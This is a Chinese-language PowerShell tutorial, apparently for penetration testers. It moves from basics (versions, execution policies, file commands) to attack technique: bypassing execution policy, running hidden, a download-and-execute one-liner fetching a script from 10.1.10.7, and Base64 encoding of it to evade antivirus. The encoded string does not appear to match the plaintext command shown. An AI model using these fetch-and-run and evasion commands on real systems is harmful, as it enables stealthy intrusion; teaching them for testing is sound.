介绍

PowerShell 可以简单的理解为 cmd 的高级版,cmd 能做的事在 PowerShell 中都能做,但 PowerShell 还能做很多 cmd 不能做的事情。

PowerShell 内置在 Windows 7、Windows Server 2008 R2 及更高版本的 Windows 系统中,同时 PowerShell 是构建在 .NET 平台上的,所有命令传递的都是 .NET 对象。

PowerShell 有如下特点:

  • Windows 7 以上的操作系统默认安装
  • PowerShell 脚本可以运行在内存中,不需要写入磁盘
  • 可以从另一个系统中下载 PowerShell 脚本并执行
  • 目前很多工具都是基于 PowerShell 开发的
  • 很多安全软件检测不到 PowerShell 的活动
  • cmd 通常会被阻止运行,但是 PowerShell 不会
  • 可以用来管理活动目录

可输入 Get-Host 或者 $PSVersionTable 查看 PowerShell 版本:

image-20221013165216253 image-20221013165318603

Windows 操作系统对应的 PowerShell 版本信息:

1.0 windows server 2008

2.0 windows server 2008 r2、windows 7

3.0 windows server 2012、windows 8

4.0 windows server 2012 r2、windows 8.1

5.0 windows 10

5.1 windows server 2016

基本介绍

  • ps1文件

​ ps1 是PowerShell 的脚本扩展名,一个 PowerShell 脚本文件其实就是一个简单的文本文件。

  • 执行策略

    为了防止恶意脚本在 PowerShell 中被运行,PowerShell 有个执行策略,默认情况下,这个执行策略是受限模式Restricted

    使用 Get-ExecutionPolicy命令查看当前执行策略

    image-20221013165958649

    执行策略有以下几种:

    Restricted:不能运行脚本

    RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(除非它们拥有由受信任的发布者签署的数字签名)

    AllSigned:仅当脚本由受信任的发布者签名才能运行。

    Unrestricted:脚本执行不受限制,不管来自哪里,也不管它们是否有签名。

    使用Set-ExecutionPolicy <policy name>设置执行策略,该命令需要管理员权限

    image-20221013170431690
  • 运行脚本

    PowerShell 运行脚本的方式和其他 shell 基本一致,可以输入完整路径运行,也可以到 ps1 文件所在目录下去运行

  • 管道

​ PowerShell 中的管道类似于 linux 中的管道,都是将前一个命令的输出作为另一个命令的输入,两个命令之间使用 “|” 进行连接。

​ 例如,在 PowerShell 中获取进程信息并以程序 ID 进行排序

image-20221013171111464

一些命令

-NoLogo:启动不显示版权标志的PowerShell

-WindowStyle Hidden (-W Hidden):隐藏窗口

-NoProfile (-NoP):不加载当前用户的配置文件

–Enc:执行 base64 编码后的 powershell 脚本字符串

-ExecutionPolicy Bypass (-Exec Bypass) :绕过执行安全策略

-Noexit:执行后不退出Shell,这在使用键盘记录等脚本时非常重要

-NonInteractive (-Nonl):非交互模式,PowerShell 不为用户提供交互的提示

在 PowerShell 下,命令的命名规范很一致,都采用了动词-名词的形式,如 Net-Item,动词一般为 Add、New、Get、Remove、Set 等。PowerShell 还兼容 cmd 和 Linux 命令,如查看目录可以使用 dir 或者 ls 。

  • 文件操作类命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    新建目录test:New-Item test -ItemType directory
    删除目录test:Remove-Item test
    新建文件test.txt:New-Item test.txt -ItemType file
    新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello"
    删除文件test.txt:Remove-Item test.txt
    查看文件test.txt内容:Get-Content test.txt
    设置文件test.txt内容t:Set-Content test.txt -Value "hello"
    给文件test.txt追加内容:Add-Content test.txt -Value ",word!"
    清除文件test.txt内容:Clear-Content test.txt
  • 绕过本地权限并执行

    上面说到了默认情况下 PowerShell 的执行策略是受限模式Restricted,这就导致了在渗透测试过程中我们需要采用一些方法绕过这个策略,从而执行我们的脚本文件。

    先来看看默认受限模式下执行脚本的情况

    image-20221013172448111

这里系统会提示在此系统上禁止运行脚本,但加上 -ExecutionPolicy Bypass即可绕过这个限制

image-20221013173324661
  • 绕过本地权限并隐藏执行

    加入-WindowStyle Hidden -NoLogo -NonInteractive -NoProfile 即可隐藏执行。

    1
    PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile "IEX(New-Object Net.WebClient).DownloadString('http://10.1.10.7:8000/test.ps1')"

    或者简写

    1
    PowerShell.exe -Exec Bypass -W Hidden -NoLogo -NonI -NoP "IEX(New-Object Net.WebClient).DownloadString('http://10.1.10.7:8000/test.ps1')"
  • 利用base64对命令进行编码

    使用 Base64 进行编码主要是为了混淆代码以避免被杀毒软件查杀,经过尝试这里直接使用 Base64 编码是不行的,可以使用 Github 上的一个编码工具,工具下载地址

    下载好后,需要先将要执行的命令保存到文本文件中,这里保存到了 tmp.txt 文本中,之后执行 python ps_encoder.py -s tmp.txt 即可

1
2
3
4
5
6
>cat tmp.txt
IEX(New-Object Net.WebClient).DownloadString('http://10.1.10.7:8000/test.ps1')

>python ps_encoder.py -s tmp.txt
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwAyAC4AMQA2AC4AMgAxADQALgAxADoAOAAwADAAMAAvAHQALgBwAHMAMQAnACkA

使用 –Enc 指定 Base64 编码内容

1
PowerShell.exe -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwAyAC4AMQA2AC4AMgAxADQALgAxADoAOAAwADAAMAAvAHQALgBwAHMAMQAnACkA